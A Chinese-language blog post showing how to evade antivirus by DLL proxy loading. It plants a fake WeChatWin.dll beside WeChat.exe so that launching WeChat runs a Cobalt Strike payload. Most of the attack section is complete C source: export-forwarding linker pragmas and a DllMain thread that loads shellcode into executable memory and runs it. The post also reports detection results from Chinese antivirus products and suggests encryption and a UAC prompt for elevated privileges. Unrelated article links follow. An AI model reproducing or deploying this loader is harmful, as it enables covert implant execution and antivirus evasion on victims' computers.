DLL Proxy Loading Bypass AV
DLL Proxy Loading Bypass AV
前言
感谢国外大佬开源的免杀思路,本文就是基于该文章的一次实践。
https://redteaming.co.uk/2020/07/12/dll-proxy-loading-your-favorite-c-implant/
原理
具体原理请直接查看上面的文章,我就不在继续照本宣科。
实验
本次实战对象是微信电脑客户端-——WeChat.exe
把该exe直接拷贝到一个单独的文件夹里,点击运行会提示缺少WeChatWin.dll,这个就是我们要进行代理的对象。

使用cs生成bin格式的payload,用vs2019编译作者开源的工具
工具地址:https://github.com/Flangvik/SharpDllProxy
编译成功后,使用SharpDllProxy.dll生成一个假冒的WeChatWin.dll,执行如下命令:
//payload.bin为cs生成的bin文件
SharpDllProxy.exe --dll WeChatWin.dll --payload payload.bin
执行成功后在
在当前路径会生成/output_WeChatWin文件夹,里面有WeChatWin_pragma.c,tmp2EF7.dll两个文件我们要用到,其中tmp2EF7.dll 即为原系统WeChatWin.dll,使用vs2019打开WeChatWin_pragma.c
#include "pch.h"
#include <stdio.h>
#include <stdlib.h>
#define _CRT_SECURE_NO_DEPRECATE
#pragma warning (disable : 4996)
#pragma comment(linker, "/export:??0IChannelLogWriter@@QAE@$$QAV0@@Z=tmp2EF7.??0IChannelLogWriter@@QAE@$$QAV0@@Z,@1")
#pragma comment(linker, "/export:??0IChannelLogWriter@@QAE@ABV0@@Z=tmp2EF7.??0IChannelLogWriter@@QAE@ABV0@@Z,@2")
#pragma comment(linker, "/export:??0IChannelLogWriter@@QAE@XZ=tmp2EF7.??0IChannelLogWriter@@QAE@XZ,@3")
#pragma comment(linker, "/export:??4IChannelLogWriter@@QAEAAV0@$$QAV0@@Z=tmp2EF7.??4IChannelLogWriter@@QAEAAV0@$$QAV0@@Z,@4")
#pragma comment(linker, "/export:??4IChannelLogWriter@@QAEAAV0@ABV0@@Z=tmp2EF7.??4IChannelLogWriter@@QAEAAV0@ABV0@@Z,@5")
#pragma comment(linker, "/export:??4ILogWriter@@QAEAAV0@$$QAV0@@Z=tmp2EF7.??4ILogWriter@@QAEAAV0@$$QAV0@@Z,@6")
#pragma comment(linker, "/export:??4ILogWriter@@QAEAAV0@ABV0@@Z=tmp2EF7.??4ILogWriter@@QAEAAV0@ABV0@@Z,@7")
#pragma comment(linker, "/export:??_7IChannelLogWriter@@6B@=tmp2EF7.??_7IChannelLogWriter@@6B@,@8")
#pragma comment(linker, "/export:?AddExtraMem@TXBugReport@@YAHKI@Z=tmp2EF7.?AddExtraMem@TXBugReport@@YAHKI@Z,@9")
#pragma comment(linker, "/export:?AddExtraMem@TXBugReport@@YAHPAXI@Z=tmp2EF7.?AddExtraMem@TXBugReport@@YAHPAXI@Z,@10")
#pragma comment(linker, "/export:?AddIgnoreHookCheckModule@TXBugReport@@YAXPB_W@Z=tmp2EF7.?AddIgnoreHookCheckModule@TXBugReport@@YAXPB_W@Z,@11")
#pragma comment(linker, "/export:?AddReleaseMonitorPoint@TXBugReport@@YAXPAJ@Z=tmp2EF7.?AddReleaseMonitorPoint@TXBugReport@@YAXPAJ@Z,@12")
#pragma comment(linker, "/export:?DoBugReport@TXBugReport@@YAJPAU_EXCEPTION_POINTERS@@PB_W@Z=tmp2EF7.?DoBugReport@TXBugReport@@YAJPAU_EXCEPTION_POINTERS@@PB_W@Z,@13")
#pragma comment(linker, "/export:?GetBugReportFlag@TXBugReport@@YAKXZ=tmp2EF7.?GetBugReportFlag@TXBugReport@@YAKXZ,@14")
#pragma comment(linker, "/export:?GetBugReportInfo@TXBugReport@@YAPAUtagBugReportInfo@1@XZ=tmp2EF7.?GetBugReportInfo@TXBugReport@@YAPAUtagBugReportInfo@1@XZ,@15")
#pragma comment(linker, "/export:?GetCustomFiltFunc@TXBugReport@@YAP6AHPAU_EXCEPTION_POINTERS@@@ZXZ=tmp2EF7.?GetCustomFiltFunc@TXBugReport@@YAP6AHPAU_EXCEPTION_POINTERS@@@ZXZ,@16")
#pragma comment(linker, "/export:?InitBugReport@TXBugReport@@YAXPB_W000GGKHHKKP6GHPAUtagBugReportInfo@1@PBD200PAPAXPAKPAX@Z@Z=tmp2EF7.?InitBugReport@TXBugReport@@YAXPB_W000GGKHHKKP6GHPAUtagBugReportInfo@1@PBD200PAPAXPAKPAX@Z@Z,@17")
#pragma comment(linker, "/export:?InitBugReportEx@TXBugReport@@YAXPB_W000GGKHHKKP6GHPAUtagBugReportInfo@1@PBD200PAPAXPAKPAX@ZH@Z=tmp2EF7.?InitBugReportEx@TXBugReport@@YAXPB_W000GGKHHKKP6GHPAUtagBugReportInfo@1@PBD200PAPAXPAKPAX@ZH@Z,@18")
#pragma comment(linker, "/export:?RaiseSelfFatalException@TXBugReport@@YAXW4SelfException@1@@Z=tmp2EF7.?RaiseSelfFatalException@TXBugReport@@YAXW4SelfException@1@@Z,@19")
#pragma comment(linker, "/export:?RecordCallStackIfNeed@TXBugReport@@YAXPAJ@Z=tmp2EF7.?RecordCallStackIfNeed@TXBugReport@@YAXPAJ@Z,@20")
#pragma comment(linker, "/export:?SetBugReportFlag@TXBugReport@@YAHK@Z=tmp2EF7.?SetBugReportFlag@TXBugReport@@YAHK@Z,@21")
#pragma comment(linker, "/export:?SetBugReportPath@TXBugReport@@YAHPB_W@Z=tmp2EF7.?SetBugReportPath@TXBugReport@@YAHPB_W@Z,@22")
#pragma comment(linker, "/export:?SetBugReportUin@TXBugReport@@YAXKH@Z=tmp2EF7.?SetBugReportUin@TXBugReport@@YAXKH@Z,@23")
#pragma comment(linker, "/export:?SetCustomFiltFunc@TXBugReport@@YAXP6AHPAU_EXCEPTION_POINTERS@@@Z@Z=tmp2EF7.?SetCustomFiltFunc@TXBugReport@@YAXP6AHPAU_EXCEPTION_POINTERS@@@Z@Z,@24")
#pragma comment(linker, "/export:?SetExtInfo@TXBugReport@@YAHKKPB_W@Z=tmp2EF7.?SetExtInfo@TXBugReport@@YAHKKPB_W@Z,@25")
#pragma comment(linker, "/export:?SetExtRptFilePath@TXBugReport@@YAHPB_W0@Z=tmp2EF7.?SetExtRptFilePath@TXBugReport@@YAHPB_W0@Z,@26")
#pragma comment(linker, "/export:?SetLogFileMd5Dir@TXBugReport@@YAHPB_W00@Z=tmp2EF7.?SetLogFileMd5Dir@TXBugReport@@YAHPB_W00@Z,@27")
#pragma comment(linker, "/export:?UninitBugReport@TXBugReport@@YAXXZ=tmp2EF7.?UninitBugReport@TXBugReport@@YAXXZ,@28")
#pragma comment(linker, "/export:?ValidateBugReport@TXBugReport@@YAXXZ=tmp2EF7.?ValidateBugReport@TXBugReport@@YAXXZ,@29")
#pragma comment(linker, "/export:?pfPostBugReport@TXBugReport@@3P6AXXZA=tmp2EF7.?pfPostBugReport@TXBugReport@@3P6AXXZA,@30")
#pragma comment(linker, "/export:?pfPreBugReport@TXBugReport@@3P6AXXZA=tmp2EF7.?pfPreBugReport@TXBugReport@@3P6AXXZA,@31")
#pragma comment(linker, "/export:SignWith3Des=tmp2EF7.SignWith3Des,@32")
#pragma comment(linker, "/export:StartWachat=tmp2EF7.StartWachat,@33")
#pragma comment(linker, "/export:_TlsGetData@12=tmp2EF7._TlsGetData@12,@34")
#pragma comment(linker, "/export:_TlsStoreData@12=tmp2EF7._TlsStoreData@12,@35")
#pragma comment(linker, "/export:__ASSERT=tmp2EF7.__ASSERT,@36")
DWORD WINAPI DoMagic(LPVOID lpParameter)
{
//https://stackoverflow.com/questions/14002954/c-programming-how-to-read-the-whole-file-contents-into-a-buffer
FILE* fp;
size_t size;
unsigned char* buffer;
fp = fopen("payload.bin", "rb");
fseek(fp, 0, SEEK_END);
size = ftell(fp);
fseek(fp, 0, SEEK_SET);
buffer = (unsigned char*)malloc(size);
//https://ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources
fread(buffer, size, 1, fp);
void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buffer, size);
((void(*) ())exec)();
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
HANDLE threadHandle;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// https://gist.github.com/securitytube/c956348435cc90b8e1f7
// Create a thread and close the handle as we do not want to use it to wait for it
threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
CloseHandle(threadHandle);
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
43行前是调用原dll,46之后是调用我们之前生成的cs bin文件,并使用VirtualAlloc()函数申请内存地址然后使用CreateThread()函数执行shellcode,我们生成一个动态dll项目,然后复制代码到源文件中,编译。

然后把红色箭头的放在一个文件夹中,运行微信客户端即可上线cs,免杀效果如下

静态360,火绒,安全管家都不查杀,动态执行只有360查杀,另外两个无反应。

这里还可以把shellcode直接写入上面的C文件中,然后对其进行加密解密处理,或者换一种执行方式,还可以给他加个uac认证,如果对方点是可以直接获得高权限,当然这些就不一一试验了。
DLL Proxy Loading Bypass AV的更多相关文章
- Bypass AV meterpreter免杀技巧
0x01 meterpreter简介 MetasploitFramework是一个缓冲区溢出测试使用的辅助工具,也可以说是一个漏洞利用和测试平台,它集成了各种平台上常见的溢出漏洞和流行的shellco ...
- AVIator -- Bypass AV tool
前提概要 项目地址:https://github.com/Ch0pin/AVIator AV:全名为AntiVirus,意指为防病毒软件 AVIator是一个后门生成器实用程序,它使用加密和注入技术来 ...
- Delphi DLL制作和加载 Static, Dynamic, Delayed 以及 Shared-Memory Manager
一 Dll的制作一般分为以下几步:1 在一个DLL工程里写一个过程或函数2 写一个Exports关键字,在其下写过程的名称.不用写参数和调用后缀.二 参数传递1 参数类型最好与window C++的参 ...
- Keepalivaed +Nginx proxy 高可用架构方案与实施过程细节
1.开源产品介绍 1)CMS介绍 官方网站http://www.dedecms.com/,是一个网站应用系统构建平台,也是一个强大的网站内容管理系统,既可以用来构建复杂的体系的企业信息门户或者电子商务 ...
- ASP.NET与非托管DLL的那些事儿【转+增】
https://www.cnblogs.com/yeahgis/archive/2011/11/12/2246341.html ASP.NET与非托管DLL的那些事儿 环境VS2010 语言:ISO ...
- Kali linux 2016.2(Rolling)中的Exploits模块详解
简单来将,这个Exploits模块,就是针对不同的已知漏洞的利用程序. root@kali:~# msfconsole Unable to handle kernel NULL pointer der ...
- backtrack5渗透 笔记
目录 1.信息收集 2.扫描工具 3.漏洞发现 4.社会工程学工具 5.运用层攻击msf 6.局域网攻击 ...
- CIA泄露资料分析(黑客工具&技术)—Windows篇
背景 近期,维基解密曝光了一系列据称来自美国中央情报局(CIA)网络攻击活动的秘密文件,代号为“Vault 7”,被泄露文件的第一部分名为“Year Zero”,共有8761个文件,包含7818个网页 ...
- TcpListener的异步调用内存泄漏---最近测试结果,没有泄露
我后来加大了client的连接/断开的次数(500,1000),Server端的连接被释放了. 这说明: 1. 此代码是 可以正常工作的. 2.TcpListener/TcpListener的asyn ...
随机推荐
- Dev C++编写C/C++程序 出现[Error] ld returned 1 exit status报错分析及解决
debug系列第一弹,不知道大家写程序的时候是不是都遇到过如题的报错. 我本人是经常遇到这行熟悉的令人不知所措的报错,可能是我太笨了 有时候百度无果也差不到原因,那就汇总一下目前我遇到的情况吧--持续 ...
- SpringBoot整合RabbitMQ实战附加死信交换机
前言 使用springboot,实现以下功能,有两个队列1.2,往里面发送消息,如果处理失败发生异常,可以重试3次,重试3次均失败,那么就将消息发送到死信队列进行统一处理,例如记录数据库.报警等 环境 ...
- VMware Workstation 虚拟机详细安装教程
一.介绍篇 VMware Workstation 16 Pro是VMware(威睿公司)于2021年最新发布的一代虚拟机软件,软件的中文名是"VMware 工作站 16 专业版". ...
- SQL server设置连接数
SQLServer查看及设置最大连接数 很多时候自己本地开发会遇到 ,打开几个连接正常访问 之后就报错误,这时候需要调整sqlserver 最大连接数. 1. 查询最大连接数 SELECT val ...
- C++对象间通信组件,让C++对象“无障碍交流”
介绍 这是很久之前的一个项目了,最近刚好有些时间,就来总结一下吧! 推荐初步熟悉项目后阅读本文: https://gitee.com/smalldyy/easy-msg-cpp 从何而来 这要从我从事 ...
- JS:&&运算符
&&逻辑运算符 当&&连接语句时,两边的语句会转化为布尔类型 1.两边条件都为true时,结果才为true: 2.如果有一个为false,结果就为false: 3.当第 ...
- 推荐一款M1芯片电脑快速搭建集群的虚拟机软件
虚拟机软件太多了,出名的莫过于VMware,VirutlaBox以及Parallels Desktop. 我们使用虚拟机软件一般有两种用途: 安装不同于宿主机系统的拥有用户界面的操作系统,比如Wind ...
- SprinigBoot自定义Starter
自定义Starter 是什么 starter可以理解是一组封装好的依赖包,包含需要的组件和组件所需的依赖包,使得使用者不需要再关注组件的依赖问题 所以一个staerter包含 提供一个autoconf ...
- SAP 动态选择屏幕实例
DATA:BEGIN OF gs_sel, werks TYPE marc-werks, "工厂 matnr TYPE mara-matnr, "物料 mtart TYPE mar ...
- NC207040 丢手绢
NC207040 丢手绢 题目 题目描述 "丢丢丢手绢,轻轻地放在小朋友的后面,大家不要告诉她,快点快点抓住她,快点快点抓住她." 牛客幼儿园的小朋友们围成了一个圆圈准备玩丢手绢的 ...